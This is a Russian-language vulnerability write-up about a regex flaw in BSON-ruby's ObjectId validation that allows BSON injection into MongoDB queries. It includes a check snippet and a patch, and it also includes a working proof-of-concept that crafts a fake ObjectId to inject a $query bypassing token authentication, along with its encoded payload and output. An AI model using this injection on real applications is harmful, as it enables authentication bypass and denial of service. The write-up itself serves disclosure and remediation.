BSON инъекция в MongoDB адаптере для Ruby
В BSON-ruby был найден баг который в лучшем случае приводил к небольшому DoS, но большинство версий было уязвимо к инъекции в BSON (аналог SQL инъекции, BSON это бинарный аналог JSON используемый для работы с базой).На хабре уже как то упоминалась особенность регулярок в руби — у нас ^$ значат не просто начало и конец строки, но и новую строку \n.
Но тогда в примерах были лишь XSS «javascript: a ()\nhttp://» и я давно искал пример, когда регулярки приводят к чему-то серьезному. И вот пару дней назад, во время аудита внешних библиотек нашего клиента, наткнулся на следующий код в BSON-ruby.
def legal?(str) ! str.match (/^[0–9a-f]{24}$/i) end Этот метод ответственен за валидацию ObjectId — идентификатор документа. Например Order.find (params[: id]) где id это 24 символа из юзер инпута вида »21141c78d99f23d5f34d3201».Проведя небольшое расследование я выяснил что регулярка была первый раз исправлена в 2012 на \A\Z, потом заново сломана самим же мейнтейнером в 2013 в результате очень подозрительной регрессии.
Другими словами, с 17 апреля 2012 по март 2013 использовались ^$, затем \A\Z до апреля 2013, и затем снова ^$.
Чтобы проверить уязвимо ли ваше приложение запустите
b=((defined?(Moped: BSON) ? Moped: BSON: BSON):: ObjectId) raise «DoS!» if b.legal? «a»*24+»\n» raise «Injection!» if b.legal? «a»*24+»\na» И используйте этот патч если да
def ((defined?(Moped: BSON) ? Moped: BSON: BSON):: ObjectId).legal?(s) /\A\h{24}\z/ === s.to_s end Если вы используете старую версию BSON из 2013 года, то скорее всего там используются \A\Z и лишь небольшой DoS возможен. Почему? Потому что \Z в руби помимо окончания строки разрешают один \n в конце. Но если мы пошлем id=aaaaaaaaaaaaaaaaaaaaaaaa%0A то монго будет ругаться [conn1] Assertion: 10307: Client Error: bad object in message: invalid bson type in object with _id: ObjectId ('aaaaaaaaaaaaaaaaaaaaaaaa').
Однако драйвер Руби не понимает эту ошибку и делает вывод что нода лежит. И пингует монго еще 39 раз в течении следующих 5 секунд, забивая воркер бесполезной работой, что может быть использовано как Denial of Service для некоторых сайтов.
Но это ничто по сравнению с тем что творится в последних версиях BSON. Там можно послать строку вида
_id=Any binary data\naaaaaaaaaaaaaaaaaaaaaaaa\nAny binary data
Что будет разпаковано из hex в binary и вставлено в тело BSON документа при запросе к монго без изменений (предполагается что ObjectId уже валидирован и для быстродействия вставляется в чистом виде). С помощью данного Proof of Concept можно делать произвольные запросы к монго путем перезаписи параметров BSON документа, обходить системы аутенфикации на основе токенов или API ключей, делать DoS и возможно многое другое.
require 'uri' b = BSON: Document.new b[»$query»] = {«token» => {»$gt»=>»}}
payload = b.to_bson[4…-2] id_ish = (»\n\n» + «a»*24 + »\n\n»)
fake_id = «a»*24 + »\x02_id\0».unpack ('H*')[0] + [id_ish.size/2 + 1].pack ('V').unpack ('H*')[0] + id_ish + »00» + payload.unpack ('H*')[0]
puts URI.encode (fake_id) # looks like: # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000
User.find fake_id #returns
\x83\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xD4\a\x00\x00\x00\x00\x00\x00 mng_development.users\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x00\x00\x00\a_id\x00 \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x02_id\x00\x0F\x00\x00\x00\xAA \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x00\x03$query\x00\e\x00\x00 \x00\x03token\x00\x0F\x00\x00\x00\x02$gt\x00\x01\x00\x00\x00\x00\x00\x00\x00
Примените патч, и помните, что в регулярках в руби всегда нужно использовать \A\z.